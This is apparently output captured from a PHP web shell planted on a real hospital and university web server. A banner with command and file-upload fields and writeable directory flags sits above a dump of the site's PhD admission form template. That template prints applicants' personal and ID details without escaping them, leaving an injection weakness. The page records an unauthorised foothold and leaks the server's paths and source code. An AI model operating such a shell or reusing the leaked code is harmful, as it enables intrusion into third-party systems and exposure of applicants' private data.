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nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/views/pages/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/views/pages/phd_adm_form.php
<?php 
$name = explode(" ",$dtl['name']);
$dtl['first_name'] = $name[0];
unset($name[0]);
$dtl['last_name'] = implode(" ",$name);

$dob = date('d-m-Y', strtotime($dtl['dob']));
$dtl['dob']=explode("-",$dob);
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Online Application Form</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<style>
body {font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 19px}
h1, h2, h3, h4, h5, p, ul, ol, li {padding: 0; margin: 0}
h1 {color: #3051a0; font-size: 14px; font-weight: bold; margin-bottom: 10px; text-transform: uppercase;}
.border {border: 1px solid #696969;}
h2 {font-size: 14px; font-weight: bold; color: #000}
.mr10 {margin-bottom: 10px}
.mrb {margin-bottom: 15px}
.b {font-weight: bold}
.f13 {font-size: 13px}
.f11 {font-size: 11px; font-weight: normal; color: #666}
.fl {float: left}
.table tr td, .table tr th {border: 1px solid #696969; padding: 5px 10px}
.table2 tr td {border: 0; padding: 0}
table {border-collapse:collapse;}
.table tr th {background: #3051a0; color: #ffffff;}
.table tr th h2 {color: #ffffff}
.address li {border-bottom: 1px dotted #696969; margin-bottom: 12px; height: 12px; padding-bottom: 4px;}
.wdth {width: 50%}
.box li {border: 1px solid #696969; width: 20px; height: 20px; display: block; float: left; border-right: 0; text-align: center; line-height: 20px; }
.box li:last-child {border-right: 1px solid #696969;}
.brdl {border-left: 0!important}
.brdr {border-right: 0!important}
.brdt tr td {border-top: 0!important}
.brdb tr td {border-bottom: 0!important}
ul {list-style-type: none}
.gender {float: left; margin-left: 15px; margin-right: 5px; padding-top: 4px;}
.category {float: left; margin-left: 6px; margin-right: 4px; padding-top: 4px;}
.domicile {width: 50px; height: 20px; line-height: 20px; display: block; margin-left: 5px; text-align: center}
.hostel {margin: 30px 0;}
.line {border-bottom: 1px solid #393939; width: 75%; margin: 5px auto;}

@media print {
    .hidden-print               {display: none}
}
</style>
<!-- <script
  src="https://code.jquery.com/jquery-3.5.1.min.js"
  integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
  crossorigin="anonymous"></script> -->
</head>

<body>
    <div class="hidden-print" style="padding:10px; text-align:center">
        <!-- <a id="pdflink" href="//pdfcrowd.com/url_to_pdf/?height=-1&use_print_media=1">Download</a> -->
        <a href="//pdfcrowd.com/url_to_pdf/?height=-1&use_print_media=1" onclick="if(!this.p)href+='&url='+encodeURIComponent(location.href);this.p=1">Download</a>
    </div>
    
<table width="1045" align="center" border="0" cellspacing="0" cellpadding="0">
	<tr>
		<td>
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="mrb">
				<tr>
					<td width="25%" valign="middle">
						<h2 class="mr10">Registration No:</h2>
						<p style="padding: 6px 10px; text-align: left; width: 160px;" class="border"><?php echo $dtl['application_no'] ?></p>
					</td>
					<td align="center" valign="middle"><img src="https://admissions.sharda.ac.in/application-form/img/logo.png"></td>
					<td width="25%" align="right">
						<div style="border: 2px solid #000000; width: 130px; height: 150px; text-align: center;"><img src="<?php echo $dtl['profile_photo_url'] ?>" alt="Photo" align="middle"width="100%"></div>
					</td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<td colspan="2">
						<!-- <h2 class="mr10">For Office Use Only</h2> -->
						<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table2">
							<tr>
								<td><span class="b">System ID:</span> <?php echo $dtl['application_no']?></td>
								<td align="right"><span class="b">Application No:</span><?php echo $dtl['ps_app_no']?$dtl['ps_app_no']:'Not Generated Yet'?></td>
							</tr>
						</table>
					</td>
				</tr>
				<tr>
					<td width="50%"><span class="b">Programme Applied:</span> <?php echo $dtl['program'] ?></td>
					<td><span class="b">Plan Applied:</span> <?php echo $dtl['plan']?></td>
				</tr>
			</table>
			
			<h1>PERSONAL DETAILS</h1>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">
				<!-- <tr>
					<td colspan="4">
						<h2>For Office Use Only <span style="font-size: 12px; font-weight: normal">(As in High School/Secondary School Certificate):</span></h2>
					</td>					
				</tr> -->
				<tr>
					<td width="10%" class="brdr"><h2>First Name:</h2></td>
					<td colspan="5" class="box brdl">
						<ul>
                            <?php 
                                if(strlen($dtl['first_name']) > 0){
                                    $name = str_split($dtl['first_name']);
                                    foreach($name as $r){
                                        echo "<li>$r</li>";
                                    }
                                }
                            ?>
						</ul>
					</td>
				</tr>
				<tr>
					<td class="brdr"><h2>Last Name:</h2></td>
					<td colspan="5" class="box brdl">
						<ul>
                            <?php 
                                if(strlen($dtl['last_name']) > 0){
                                    $name = str_split($dtl['last_name']);
                                    foreach($name as $r){
                                        echo "<li>$r</li>";
                                    }   
                                }
                            ?>
						</ul>
                    </td>
                </tr>
                <tr>
					<td class="brdr"><h2>Gender:</h2></td>				
					<td class="box brdl">
                        <p class="gender" style="margin-left: 0">M</p>
                        <ul>
                            <li>
                                <?php if($dtl['gender'] == 'Male'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">F</p>
						<ul>
                            <li>
                                <?php if($dtl['gender'] == 'Female'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Other</p>
						<ul>
                            <li>
                                <?php if($dtl['gender'] == 'Other'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
                    </td>
                    
                    <td class="brdr"><h2>Date of Birth:</h2></td>
					<td class="box brdl">
						<ul>
							<li><?php echo $dtl['dob'][0][0]; ?></li>
							<li style="margin-right: 10px; border: 1px solid #696969"><?php echo $dtl['dob'][0][1]; ?></li>
							
							<li><?php echo $dtl['dob'][1][0]; ?></li>
							<li style="margin-right: 10px; border: 1px solid #696969"><?php echo $dtl['dob'][1][1]; ?></li>
							
							<li><?php echo $dtl['dob'][2][0]; ?></li>
							<li><?php echo $dtl['dob'][2][1]; ?></li>
							<li><?php echo $dtl['dob'][2][2]; ?></li>
							<li><?php echo $dtl['dob'][2][3]; ?></li>
						</ul>
					</td>
					<td class="brdr"><h2>Place of Birth:</h2></td>				
					<td class="box brdl">
						<?php echo $dtl['pob']; ?>
					</td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<td width="13%" class="brdr"><h2>Category:</h2><span class="f11">*Please attach Minority Certificate, if any</span></td>
					<td width="44%" class="box brdl">
						<p class="category" style="margin-left: 0">General</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'GEN'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="category">SC</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'SC'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="category">ST</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'ST'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="category">OBC</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'OBC'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
                        
                        <p class="category">Other</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'OTH'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
                    
                        <p class="category">Differently Abled</p>
						<ul>
                            <li>
                                <?php if($dtl['category'] == 'DAB'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
                    </td>
					<td>
						<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table2">
							<tr>
								<td>
									<h2>Domicile State:</h2>
									<span class="f11">*As per 10th Marksheet</span>
								</td>
								<td><span class="border domicile"><?php echo $dtl['domicile_state'] ?></span></td>
							</tr>
						</table>						
					</td>				
					<td width="20%" style="border-left: 0">
						<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table2">
							<tr>
								<td>
									<h2>Physically Challenged:</h2>
									<span class="f11">*As per 10th Marksheet</span>
								</td>
							</tr>
							<tr>
								<td class="box">
									<p class="gender" style="margin-left: 0">Y</p>
									<ul>
                                        <li>
                                            <?php if($dtl['physically_challenged'] == 'Y'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">N</p>
									<ul>
                                        <li>
                                            <?php if($dtl['physically_challenged'] == 'N'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
								</td>
							</tr>
						</table>
					</td>
				</tr>
				<tr>
					<td style="border-right: 0"><h2>Religion:</h2></td>
					<td colspan="2" class="box" style="border-left: 0">
                        <p class="gender" style="margin-left: 0">Hindu</p>
                        <ul>
                            <li>
                                <?php if($dtl['religion'] == 'HND'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Muslim</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'MUS'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Sikh</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'SKH'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Christian</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'CHR'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Jain</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'JAN'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Buddhist</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'BDH'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>

						<p class="gender">Parsee</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'PAR'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>

						<p class="gender">Other</p>
						<ul>
                            <li>
                                <?php if($dtl['religion'] == 'OTH'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
					</td>
					<td><h2>Nationality: <span style="font-weight:normal"><?php echo $dtl['nationality']; ?></span></h2></td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">
				<tr>
					<td width="20%" class="brdr"><h2>Father’s Name:</h2></td>
					<td width="30%" class="brdl"><?php echo $dtl['father_name']; ?></td>
					<td width="20%" class="brdr"><h2>Mother’s Name: </h2></td>				
					<td class="brdl"><?php echo $dtl['mother_name']; ?></td>
				</tr>
				<tr>
					<td class="brdr"><h2>Father’s Qualification:</h2></td>
					<td class="brdl"><?php echo $dtl['father_qualification']; ?></td>
					<td class="brdr"><h2>Mother’s Qualification:</h2></td>				
					<td class="brdl"><?php echo $dtl['mother_qualification']; ?></td>
				</tr>
				<tr>
					<td class="brdr"><h2>Father’s Occupation:</h2></td>
					<td class="brdl"><?php echo $dtl['father_occupation']; ?></td>
					<td class="brdr"><h2>Mother’s Occupation:</h2></td>				
					<td class="brdl"><?php echo $dtl['mother_occupation']; ?></td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">
				<tr>
					<td width="24%" class="brdr"><h2>Household Income (Per Annum):</h2></td>
					<td class="box brdl">
						<p class="gender" style="margin-left: 0">Less than `1,00,000</p>
						<ul>
                            <li>
                                <?php if($dtl['house_income'] == 'Less than 1,00,000'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">`1,00,001-3,00,000</p>
						<ul>
                            <li>
                                <?php if($dtl['house_income'] == '1,00,001-3,00,000'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">`3,00,001-5,00,000</p>
						<ul>
                            <li>
                                <?php if($dtl['house_income'] == '3,00,001-5,00,000'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">`5,00,001-8,00,000</p>
						<ul>
                            <li>
                                <?php if($dtl['house_income'] == '5,00,001-8,00,000'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
						
						<p class="gender">Above `8,00,000</p>
						<ul>
                            <li>
                                <?php if($dtl['house_income'] == 'Above 8,00,000'){ ?>
                                    <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                <?php } ?>
                            </li>
                        </ul>
					</td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<td width="10%" rowspan="2" colspan="4">
						<h2>ID Proof:</h2>
					</td>
					<td width="10%" style="border-right: 0">Aadhaar No.:</td>
					<td width="35%" class="box" style="border-left: 0">
						<ul>
                            <?php
                                if($dtl['id_proof'] == 'Aadhaar Number'){
                                    $id_proof_dtl = str_split($dtl['id_proof_dtl']);
                                    foreach($id_proof_dtl as $r){
                                        echo "<li>$r</li>";
                                    }
                                }
                            ?>
						</ul>
					</td>
					<td width="10%" style="border-right: 0">Pan Card No:</td>				
					<td width="35%" class="box" style="border-left: 0">
						<ul>							
                            <?php
                                if($dtl['id_proof'] == 'Pan Card Number'){
                                    $id_proof_dtl = str_split($dtl['id_proof_dtl']);
                                    foreach($id_proof_dtl as $r){
                                        echo "<li>$r</li>";
                                    }
                                }
                            ?>
						</ul>
					</td>
				</tr>
				<tr>
					<td style="border-right: 0">Passport:</td>
					<td class="box" style="border-left: 0">
						<ul>
                            <?php
                                if($dtl['id_proof'] == 'Passport Number'){
                                    $id_proof_dtl = str_split($dtl['id_proof_dtl']);
                                    foreach($id_proof_dtl as $r){
                                        echo "<li>$r</li>";
                                    }
                                }
                            ?>
						</ul>
					</td>
					<td style="border-right: 0">Any Other:</td>				
					<td class="box" style="border-left: 0">
						<ul>
                            <?php
                                if($dtl['id_proof'] == 'Other ID'){
                                    $id_proof_dtl = str_split($dtl['id_proof_dtl']);
                                    foreach($id_proof_dtl as $r){
                                        echo "<li>$r</li>";
                                    }
                                }
                            ?>
						</ul>
					</td>
				</tr>
			</table>

			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">
				<tr>
					<td >
						<h2 class="mrb">Permanent Address <span class="f11">(As mentioned in ID):</span></h2>
						<ul class="address">
							<li><?php echo $dtl['address'] ?></li>
							<li><span class="b">City:</span> <?php echo $dtl['city'] ?></li>
							<!-- <li class="fl wdth"><span class="b">District:</span> --</li> -->
							<li class="fl wdth"><span class="b">State:</span> <?php echo $dtl['state'] ?></li>
							<li class="fl wdth"><span class="b">Pin Code:</span> <?php echo $dtl['pincode'] ?></li>
						</ul>
					</td><!-- 
					<td>
						<h2 class="mrb">Correspondence Address <span class="f11">(If Different):</span></h2>
						<ul class="address">
							<li>--</li>
							<li class="fl wdth"><span class="b">City:</span> --</li>
							<li class="fl wdth"><span class="b">District:</span> --</li>
							<li class="fl wdth"><span class="b">State:</span> --</li>
							<li class="fl wdth"><span class="b">Pin Code:</span> --</li>
						</ul>
					</td>		 -->			
				</tr>
			</table>

			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">
				<tr>
					<td class="brdr"><h2>Landline No:</h2></td>
					<td class="brdl"><?php echo $dtl['landline'] ?></td>
					<td class="brdr"><h2>Student Mobile No:</h2></td>
					<td class="box brdl">
						<ul>
                            <?php
                                $mob = str_split($dtl['mob']);
                                foreach($mob as $r){
                                    echo "<li>$r</li>";
                                }
                            ?>
						</ul>
					</td>
					<td class="brdr"><h2>Alternate Mobile No:</h2></td>
					<td class="box brdl">
						<ul>
                            <?php
                                $mob = str_split($dtl['parent_mob']);
                                foreach($mob as $r){
                                    echo "<li>$r</li>";
                                }
                            ?>
						</ul>
					</td>
				</tr>
			</table>

			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table brdb">				
				<tr>
					<td class="brdr" width="13%"><h2>Email (Student):</h2></td>
					<td class="brdl" width="37"><?php echo $dtl['email']; ?></td>
					<td class="brdr" width="13%"><h2>Email (Alternate):</h2> </td>
					<td class="brdl" width="37"><?php echo $dtl['parent_email']; ?></td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<td width="24%" class="brdr"><h2>Source of Information:</h2></td>
					<td>
						<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table2">
							<tr>
								<td class="box brdl">
                                    <p class="gender" style="margin-left: 0">Online/Internet</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Online/Internet'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>    

                                    <p class="gender" style="margin-left: 0">Newspaper</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Newspaper'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">TV</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'TV'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Radio</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Radio'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Hoarding</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Hoarding'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Walk-in</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Walk-in'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Education Fair</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Education Fair'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
								</td>
							</tr>
							<tr><td height="10"></td></tr>
							<tr>
								<td class="box brdl">
									<p class="gender" style="margin-left: 0">University Students</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'University Students'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Friends/Relatives</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Friends/Relatives'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Consultant</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Consultant'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
									
									<p class="gender">Others</p>
									<ul>
                                        <li>
                                            <?php if($dtl['source_of_info'] == 'Others'){ ?>
                                                <img src="https://admissions.sharda.ac.in/application-form/img/right.png" style="padding-top: 2px; padding-left: 5px;">
                                            <?php } ?>
                                        </li>
                                    </ul>
								</td>
							</tr>
							
						</table>
					</td>
				</tr>
			</table>
			
			<h1>EDUCATIONAL QUALIFICATIONS</h1>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<th>Examination Passed</th>
					<th>Year of Passing</th>
					<th>Board/University</th>
					<th>School/College Name</th>
					<th>City</th>
                    <th>State</th>
                    <th>Mark Scheme</th>
					<th>%(Agg.)</th>
				</tr>
				<tr>
					<td>Xth Standard</td>
					<td><?php echo $dtl['passing_year_10th'] ?></td>
					<td><?php echo $dtl['board_10th'] ?></td>
					<td><?php echo $dtl['school_name_10th'] ?></td>
					<td><?php echo $dtl['school_city_10th'] ?></td>
                    <td><?php echo $dtl['school_state_10th'] ?></td>
                    <td><?php echo $dtl['marking_scheme_10th']?></td>
					<td><?php echo $dtl['marks_10th'] ?></td>
				</tr>
				<tr>
					<td>XIIth Standard</td>
					<td><?php echo $dtl['passing_year_12th'] ?></td>
					<td><?php echo $dtl['board_12th'] ?></td>
					<td><?php echo $dtl['school_name_12th'] ?></td>
					<td><?php echo $dtl['school_city_12th'] ?></td>
                    <td><?php echo $dtl['school_state_12th'] ?></td>
                    <td><?php echo $dtl['marking_scheme_12th']?></td>
					<td><?php echo $dtl['marks_12th'] ?></td>
				</tr>
				<tr>
					<td>Graduation</td>
					<td><?php echo $dtl['passing_year_ug'] ?></td>
					<td><?php echo $dtl['university_ug'] ?></td>
					<td><?php echo $dtl['school_name_ug'] ?></td>
					<td><?php echo $dtl['school_city_ug'] ?></td>
                    <td><?php echo $dtl['school_state_ug'] ?></td>
                    <td><?php echo $dtl['marking_scheme_ug']?></td>
					<td><?php echo $dtl['marks_ug']?></td>
                </tr>
                <tr>
					<td>Other</td>
					<td><?php echo $dtl['passing_year_othr'] ?></td>
					<td><?php echo $dtl['university_othr'] ?></td>
					<td><?php echo $dtl['school_name_othr'] ?></td>
					<td><?php echo $dtl['school_city_othr'] ?></td>
                    <td><?php echo $dtl['school_state_othr'] ?></td>
                    <td><?php echo $dtl['marking_scheme_othr']?></td>
					<td><?php echo $dtl['marks_othr']?></td>
                </tr>
                <tr>
					<td>Post Graduation</td>
					<td><?php echo $dtl['passing_year_pg'] ?></td>
					<td><?php echo $dtl['university_pg'] ?></td>
					<td><?php echo $dtl['school_name_pg'] ?></td>
					<td><?php echo $dtl['school_city_pg'] ?></td>
                    <td><?php echo $dtl['school_state_pg'] ?></td>
                    <td><?php echo $dtl['marking_scheme_pg']?></td>
					<td><?php echo $dtl['marks_pg']?></td>
				</tr>
            </table>
            
            <h2>Name of the Degree:</h2>
            <table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
                <tr>
                    <th>Graduation</th>
                    <th>Other</th>
                    <th>Post Graduation</th>
                </tr>
                <tr>
                    <td><?php echo $dtl['degree_name_ug'] ?></td>
                    <td><?php echo $dtl['degree_name_othr'] ?></td>
                    <td><?php echo $dtl['degree_name_pg'] ?></td>
                </tr>
            </table>
			
			<h1>ENTRANCE EXAMINATION DETAILS:</h1>
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">
				<tr>
					<td width="16.6%">NET</td>
					<td width="16.6%"><?php echo $dtl['net'] ?></td>
					<td width="16.6%">GATE</td>
					<td width="16.6%"><?php echo $dtl['gate'] ?></td>
					<td width="16.6%">SLET</td>
					<td><?php echo $dtl['slet'] ?></td>
				</tr>
				<tr>
					<td>MPHIL</td>
					<td><?php echo $dtl['mphil'] ?></td>
					<td>Any other</td>
					<td><?php echo $dtl['other_entrance_exam_dtl'] ?></td>
					<td></td>
					<td></td>
				</tr>
			</table>
			
			<h1>DECLARATION BY STUDENT & PARENT</h1>
			<table width="100%" border="0" cellpadding="0" cellspacing="0">								
				<tr>
					<td>						
						<p style="padding-top: 15px;">I <strong> <?php echo $dtl['father_name'] ?> </strong> Parent/Guardian, of <strong><?php echo $dtl['name'] ?></strong> do hereby declare that the information given above is true and correct. I stand guarantee for good conduct of my ward during the period of his/her study in the University/Hostel. I am aware that the University is authorised to initiate disciplinary action against my ward for violation of any of the rules and regulation/code of conduct which is available on the University’s website (www.sharda.ac.in). I also promise to compensate fully the damages that may be caused by my ward due to his/her misconduct. I also promise to pay the fee on time as per the instructions issued by the University from time-to-time, failing which an appropriate penalty may be.</p>
					</td>
				</tr>
			</table>
			
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="mrb hostel" style="text-align: center">								
				<tr>
					<td valign="bottom" class="b"><?php echo date("d-m-Y") ?></td>
					<td valign="bottom" class="b"><?php echo $dtl['city'] ?></td>
					<!-- <td valign="bottom" class="b"><img src="https://admissions.sharda.ac.in/application-form/img/sign1.jpg" width="150"></td> -->
					<td valign="bottom" class="b"><img src="<?php echo $dtl['signature_url'] ?>" width="150"></td>
				</tr>
				<tr>
					<td width="33.33%"><p class="line"></p>DATE</td>
					<td width="33.33%"><p class="line"></p>PLACE</td>
					<!-- <td width="25%"><p class="line"></p>Signature of Parent/Guardian</td> -->
					<td><p class="line"></p>Signature of Student</td>
				</tr>
			</table>
			
			<h1>DOCUMENTS CHECKLIST</h1>
			<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table mrb">								
				<tr>
					<td width="31%" align="center"><h2>Documents</h2></td>
					<td width="31%" align="center"><h2>Certificate/Roll No.</h2></td>
					<!-- <td align="center"></td> -->
					<!-- <td width="31%" align="center"><h2>(For Office Use Only)</h2></td> -->
				</tr>
				<tr>
					<td>Application Form with a photograph affixed</td>
					<td><?php echo $dtl['profile_photo_url'] ? 'Yes' : 'No' ?></td>
				</tr>
				<tr>
					<td>Photocopy of 10th Marksheet</td>
					<td><?php echo $dtl['marksheet_10th'] ? 'Yes' : 'No' ?></td>
				</tr>
				<tr>
					<td>Photocopy of 12th/Diploma Marksheet/Admit Card</td>
					<td><?php echo $dtl['marksheet_12th'] ? 'Yes' : 'No' ?></td>
                </tr>
                <tr>
					<td>Photocopy of Graduation Marksheet</td>
					<td><?php echo $dtl['marksheet_ug'] ? 'Yes' : 'No' ?></td>
                </tr>
                <!-- <tr>
					<td>Photocopy of Other Marksheet</td>
					<td><?php echo $dtl['marksheet_othr'] ? 'Yes' : 'No' ?></td>
                </tr> -->
                <tr>
					<td>Photocopy of Post Graduation Marksheet</td>
					<td><?php echo $dtl['marksheet_pg'] ? 'Yes' : 'No' ?></td>
				</tr>
				<tr>
					<td>Photocopy of MPHIL Marksheet</td>
					<td><?php echo $dtl['marksheet_mphil'] ? 'Yes' : 'No' ?></td>
				</tr>
				<tr>
					<td>ID Proof (Aadhar Card)</td>
					<td><?php echo $dtl['id_proof_img'] ? 'Yes' : 'No' ?></td>
				</tr>
			</table>
		</td>
	</tr>
</table>
    <!-- &f=<?php echo $dtl['application_no']?> -->
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